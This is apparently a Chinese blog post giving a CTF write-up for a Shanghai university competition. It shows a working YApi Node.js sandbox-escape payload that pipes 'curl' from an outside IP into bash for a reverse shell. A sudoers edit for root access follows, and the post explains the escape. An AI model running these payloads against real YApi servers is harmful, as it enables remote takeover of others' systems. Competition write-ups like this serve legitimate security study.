上海市大学生网络安全竞赛-磐石行动复赛wp

雷神的小锤子

已于 2024-06-02 20:35:40 修改

阅读量629

点赞数 18

文章标签：网络安全 web安全网络

于 2024-05-28 10:34:42 首次发布

本文链接：https://blog.csdn.net/zwy3327078581/article/details/139223794

版权

复赛wp,不知道能不能进决赛。。。

快乐行程

首先发现3000有服务，发现是yapi

找到yapi漏洞

注册一个接口

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("curl http://150.158.17.237 | bash").toString()

然后我们直接反弹shell

发现不能打开root文件夹

提权sudo visudo -f /etc/sudoers -e 's/root ALL=(ALL:ALL) ALL/&\nidss ALL=(ALL:ALL) ALL/'

sudo cat /root/flag

得到flag

由于yapi是用nodejs开发的，所以也存在nodejs的特性及缺陷点。

我们从公开的poc出发，做一个简要分析。

const sandbox = this; // 获取沙箱环境
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造函数，返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

这里想要探究命令执行的过程，得先了解Nodejs的VM库及部分函数。

在使用Nodejs创建vm环境后，会初始化对象sandbox。
由于this.constructor.constructor返回的是Function constructor，所以可以利用Function构造函数并执行。同时Function对象处于主程序中，这里构造的函数内的语句是返回process全局变量，结果是返回了主程序的环境变量，最终完成沙盒逃逸并执行代码。

ifconfig发现还有第二个网卡主机